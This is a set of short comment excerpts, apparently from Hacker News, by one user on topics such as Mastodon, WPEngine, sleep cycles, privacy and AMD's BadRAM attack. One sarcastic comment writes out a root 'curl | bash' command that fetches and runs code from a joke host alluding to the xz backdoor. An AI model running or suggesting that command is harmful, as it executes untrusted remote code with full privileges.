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by bigiain 2y ago
> some huge majority of all mail is supposedly spam. Filtering client-side would be a tremendous waste of resources. I suspect the same could become true of any open protocol like Mastodon or AT. I once had access to the Twitter Firehose
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by bigiain 2y ago
> I tried Mastodon before Threads & Bluesky, and I can say that the lack of algo was the part I liked the least. It's probably the one big technical feature I like the best. Not to say you're wrong, just that we use it diff
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by bigiain 2y ago
I would have thought if you had tens of thousands of developers all needing access to the same git repos, then you'd probably have a follow-the-sun team of maybe 50 or 100 engineers working on your git infra.
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by bigiain 2y ago
Not that I think it's "the right thing to do", but WPEngine could almost certainly "move enough at once to clear the network effect". They host a _lot_ of sites. They were forced by Matt to maintain a mirror of the
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by bigiain 2y ago
> Could maybe perhaps train an llm on a plugin and have it assist.making a free or not bloated version of some popular ones. And we are now back at the "having your plugin stolen" problem.
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by bigiain 2y ago
Heather Burns responds: https://xcancel.com/WebDevLaw/status/1877979616045891649 "At this point you either need to check into rehab, or frankly do the world a favour and overdose."
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by bigiain 2y ago
> I once changed my schedule for a month to sleeping 4 hours, waking for 4, sleeping 4, and then waking for 12. That's pretty common for crew on yachts. I'd do that when racing or cruising ocean going sailboats. The crew gets s
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by bigiain 2y ago
I've been riding motorcycles for about 30 years now, I started back when Neal Stephenson's Zodiac was still new, and this part was still ringing in my head: “I had to ride slow because I was taking my guerrilla route, the one I fo
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by bigiain 2y ago
> After reading the article I didn’t pick up what any of the advantages are of 28hr days Showing my age here but... I and some of my friends/classmates used to do the 6day 28hr cycle, to ensure we had access to the computer lab wher
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by bigiain 2y ago
Have you come across Stuart Semple/ Culture Hustle? He makes a lot of interesting paints and pigments, and is UK based. https://culturehustle.com/collections/powder I've bought a couple of versions of his bla
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by bigiain 2y ago
This is totally what jwz needed for xmas...
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by bigiain 2y ago
In modern development best practice, you'd refactor that bug fix, by moving the block of wood to underneath the battery where you can't see it any more. (And writing "node_modules/" on it with crayon...)
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by bigiain 2y ago
Why does this need AI? Isn't this just dividing by two, which you can easily do in your head? (I get that not everybody bothers doing vaguely complex mental arithmetic, but dividing by two? Come on!)
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by bigiain 2y ago
I wonder if there's an Aaron Swartz of paywalled university course material out there? Someone (or a group) downloading, datahoarding, and sharing every collection of courses they can get that you need a university login to access?
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by bigiain 2y ago
> The masses don’t give a damn More important, even people who _do_ give a damn, don't give a damn about everything. And even the things they do give a damn about, they don't give a damn about every time they "do that thin
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by bigiain 2y ago
I remember seeing some local (Australian) "celebrity chef" explain how he never sharpened his cleavers. He'd buy $8 cleavers of a specific brand that're widely available in Asian grocers here, and replace them when they
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by bigiain 2y ago
But but but! My Personal Brand Consultant told me a beautiful wife with two kids and a late model luxury minivan are essential components of my fundraising endeavors! Round B investments are 27.3% less likely to succeed for single founders
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by bigiain 2y ago
Where I am (Australia) all the cellular base stations are licensed, and you can find the licence details including accurate lat/long online: https://web.acma.gov.au/rrl/site_proximity.main_page
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by bigiain 2y ago
> “My people” are in the same place today that they were in yesterday and will be again tomorrow. "My people" are people who once were in that sort of temporal and geographic bubble, but are not necessarily local top me any mor
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by bigiain 2y ago
> I feel the older you get the harder it becomes to make new friends. While that's true, at least for me you also end up with some deep deep friendships that easily survive years or even decades apart, which are closer and more mean
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by bigiain 2y ago
By selling the data. Unless they engineer it so they do not have any data to sell, sooner or later someone's gonna sell that data. They've weasel-worded their privacy policy to allow this, the buyer of the data just needs to prete
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by bigiain 2y ago
> Still, I don't dislike the general idea. An app that tracks your location (and future location), founded by a venture capitalist? I'll pass thanks. (I'd be interested to see it there is a way to build this in an e2e priv
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by bigiain 2y ago
But but but! I was Mayor of my favourite coffee shop! MAYOR! (I must go and add that to my LinkedIn profile...)
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by bigiain 2y ago
AMD have just had a big FAIL there: https://news.ycombinator.com/item?id=42395618 https://arstechnica.com/information-technology/2024/12/new-b...
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by bigiain 2y ago
The recent BadRAM attack against AMD's Secure Encrypted Virtualisation works by changing something in the memory DIMM's SPD (Serial Presence Detect) EEPROM firmware causing out to report twice as much RAM as the DIMM really has. C
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by bigiain 2y ago
sudo /bin/bash -c "$(curl -fsSL https://install.jiatan.cn)" What could possibly go wring?
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by bigiain 2y ago
> Bit concerning that no government agencies have figured out what’s going on I wouldn't be betting against this being a government agency. Anywhere between local cops and black/budgetless agencies you'd go to jail for eve
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by bigiain 2y ago
> LLMs will cause an analogous decline in code Which will lead to worse code being published at a way faster rate that good code used to be published. Which will be used to train future versions of the LLMs, which will amplify the declin
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by bigiain 2y ago
If you're ever in Sydney Australia, you're welcome to look through my copy.
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by bigiain 2y ago
I suspect I have the same "nuclear archaeologist cyber-friend" as the author. I sent a Twitter "friend" (who labelled himself a nuclear anthropologist instead of archeologist) a copy of a book called "100 Suns"

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